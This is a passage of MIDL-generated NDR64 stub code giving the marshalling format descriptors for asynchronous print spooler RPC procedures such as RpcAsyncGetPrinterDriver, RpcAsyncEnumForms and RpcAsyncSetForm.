       (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* dwIndex */      /* parameter dwIndex */\n        &__midl_frag380,\n        { \n        /* dwIndex */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag382,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbValueName */      /* parameter cbValueName */\n        &__midl_frag389,\n        { \n        /* cbValueName */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbValueName */      /* parameter pcbValueName */\n        &__midl_frag389,\n        { \n        /* pcbValueName */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pType */      /* parameter pType */\n        &__midl_frag389,\n        { \n        /* pType */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pData */      /* parameter pData */\n        &__midl_frag391,\n        { \n        /* pData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* cbData */      /* parameter cbData */\n        &__midl_frag449,\n        { \n        /* cbData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* pcbData */      /* parameter pcbData */\n        &__midl_frag449,\n        { \n        /* pcbData */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag449,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag367_t __midl_frag367 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag366_t __midl_frag366 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag365_t __midl_frag365 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag366\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag367\n    }\n};\n\nstatic const __midl_frag364_t __midl_frag364 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag365\n};\n\nstatic const __midl_frag362_t __midl_frag362 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag361_t __midl_frag361 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag362\n};\n\nstatic const __midl_frag359_t __midl_frag359 =\n{ \n/* RpcAsyncGetPrinterDriver */\n    { \n    /* RpcAsyncGetPrinterDriver */      /* procedure RpcAsyncGetPrinterDriver */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 88 /* 0x58 */ ,  /* Stack size */\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT32) 104 /* 0x68 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 11 /* 0xb */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag379,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag361,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag380,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDriver */      /* parameter pDriver */\n        &__midl_frag364,\n        { \n        /* pDriver */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag389,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag389,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* dwClientMajorVersion */      /* parameter dwClientMajorVersion */\n        &__midl_frag389,\n        { \n        /* dwClientMajorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* dwClientMinorVersion */      /* parameter dwClientMinorVersion */\n        &__midl_frag389,\n        { \n        /* dwClientMinorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* pdwServerMaxVersion */      /* parameter pdwServerMaxVersion */\n        &__midl_frag389,\n        { \n        /* pdwServerMaxVersion */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* pdwServerMinVersion */      /* parameter pdwServerMinVersion */\n        &__midl_frag389,\n        { \n        /* pdwServerMinVersion */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag389,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        80 /* 0x50 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag356_t __midl_frag356 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag380\n};\n\nstatic const __midl_frag352_t __midl_frag352 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag351_t __midl_frag351 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag350_t __midl_frag350 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag351\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag352\n    }\n};\n\nstatic const __midl_frag349_t __midl_frag349 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag350\n};\n\nstatic const __midl_frag348_t __midl_frag348 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag346_t __midl_frag346 =\n{ \n/* RpcAsyncEnumForms */\n    { \n    /* RpcAsyncEnumForms */      /* procedure RpcAsyncEnumForms */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag379,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag348,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pForm */      /* parameter pForm */\n        &__midl_frag349,\n        { \n        /* pForm */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag380,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag380,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag380,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag380,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag344_t __midl_frag344 =\n{ \n/* *FORM_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag307\n};\n\nstatic const __midl_frag343_t __midl_frag343 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag342_t __midl_frag342 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag343\n};\n\nstatic const __midl_frag340_t __midl_frag340 =\n{ \n/* RpcAsyncSetForm */\n    { \n    /* RpcAsyncSetForm */      /* procedure RpcAsyncSetForm */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag379,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pFormName */      /* parameter pFormName */\n        &__midl_frag343,\n        { \n        /* pFormName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pFormInfoContainer */      /* parameter pFormInfoContainer */\n        &__midl_frag307,\n        { \n        /* pFormInfoContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag380,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag329_t __midl_frag329 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag362\n};\n\nstatic const __midl_frag327_t __midl_frag327 =\n{ \n/* RpcAsyncGetForm */\n    { \n    /* RpcAsyncGetForm */      /* procedure RpcAsyncGetForm */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag379,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pFormName */      /* parameter pFormName */\n        &__midl_frag362,\n        { \n        /* pFormName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag380,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pForm */      /* parameter pForm */\n        &__midl_frag364,\n        { \n        /* pForm */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag389,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag389,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag389,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag322_t __midl_frag322 =\n{ \n/* RpcAsyncDeleteForm */\n    { \n    /* RpcAsyncDeleteForm */      /* procedure RpcAsyncDeleteForm */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag379,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pFormName */      /* parameter pFormName */\n        &__midl_frag362,\n        { \n        /* pFormName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag380,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag320_t __midl_frag320 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag362\n    },\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag317\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        